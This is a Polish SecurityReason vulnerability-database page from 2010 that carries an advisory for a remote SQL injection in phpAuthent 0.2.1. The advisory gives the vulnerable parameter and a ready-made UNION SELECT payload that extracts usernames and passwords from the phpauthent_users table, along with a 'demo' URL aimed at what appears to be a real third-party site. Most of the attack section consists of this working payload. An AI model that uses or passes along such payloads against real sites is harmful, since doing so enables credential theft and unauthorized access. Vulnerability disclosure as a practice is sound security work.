Bezpieczeństwo informacji

, Wiadomości IT, Audyt bezpieczeństwa

Rejestracja | Zapomniałem hasła | Zaloguj się

	SecurityReason
Wiadomości IT

Dodaj wiadomość

Szukaj

Baza SecurityAlert

O SecurityAlert

Baza ExploitAlert

Badania SecurityReason

	WLB
Baza WLB

Dodaj Note WLB

O WLB

	Audyt
Informacje

Harmonogram

Cena

Referencje

Kontakt

	RSS
Wiadomości

SecurityAlert

ExploitAlert

Apache

PHP

WLB

	Zespół
Kontakt

Informacje o firmie



	Informacja
Jeśli znalazłeś interesujący błąd i chcesz go nam wysłać, użyj adresu: secalert(.)securityreason(.)pl Twój exploit może być opublikowany w dziale ExploitAlert. Wyślij go nam na adres: exploit(.)securityreason(.)pl

Strona główna

Baza WLB

Tytuł :	phpAuthent 0.2.1 remote SQL injection
WLB :	WLB-2010030086 (Szczegóły)

Data publikacji :

2010-03-20

Autor : Gamoscu

Poziom ryzyka : Średni Poziom Średni

(Szczegóły)

Zdalny błąd : Tak

Lokalny błąd : Nie

Status : Bład

Historia :
[2010-03-20] Publikacja

Podatne oprogramowanie :

phpAuthent version 0.2.1

Tekst :

phpAuthent 0.2.1 SQL Injection Vulnerability

###########################

Author : Gamoscu

Homepage : http://www.1923turk.com

Blog : http://gamoscu.wordpress.com/

Script : phpAuthent http://phpauth.sourceforge.net/

Download : http://phpauth.sourceforge.net/download.php

###########################

[ Vulnerable File ]

news_releases.php?nid= [ SQL ]

[ XpL ]

-1+union+select+1,2,3,username,password,6,7+from+phpauthent_users

[ Demo]

http://www.nok4444444444444444444444ers.com/news_releases.php?nid=-1+union+
select+1,2,3,username,password,6,7+from+phpauthent_users

Referencje :

None

Jeżeli chcesz zmienić powyższą note, prosze użyj UCP

	Apache
» Apache HTTP Server Denial of Service Vulnerability

» Multiple Vendors libc/fnmatch(3) DoS (incl apache poc)

» Apache Continuum cross-site scripting vulnerability

» Apache Tomcat DoS Vulnerability



	PHP
» PHP Hashtables Denial of Service

» PHP 5.3.6 multiple null pointer dereference

» PHP 5.3.6 ZipArchive invalid use glob(3)

» libzip 0.9.3 _zip_name_locate NULL Pointer Dereference (incl PHP 5.3.5)



	Patronat
Szkolenia ISecMan

Szkolenia Multitrain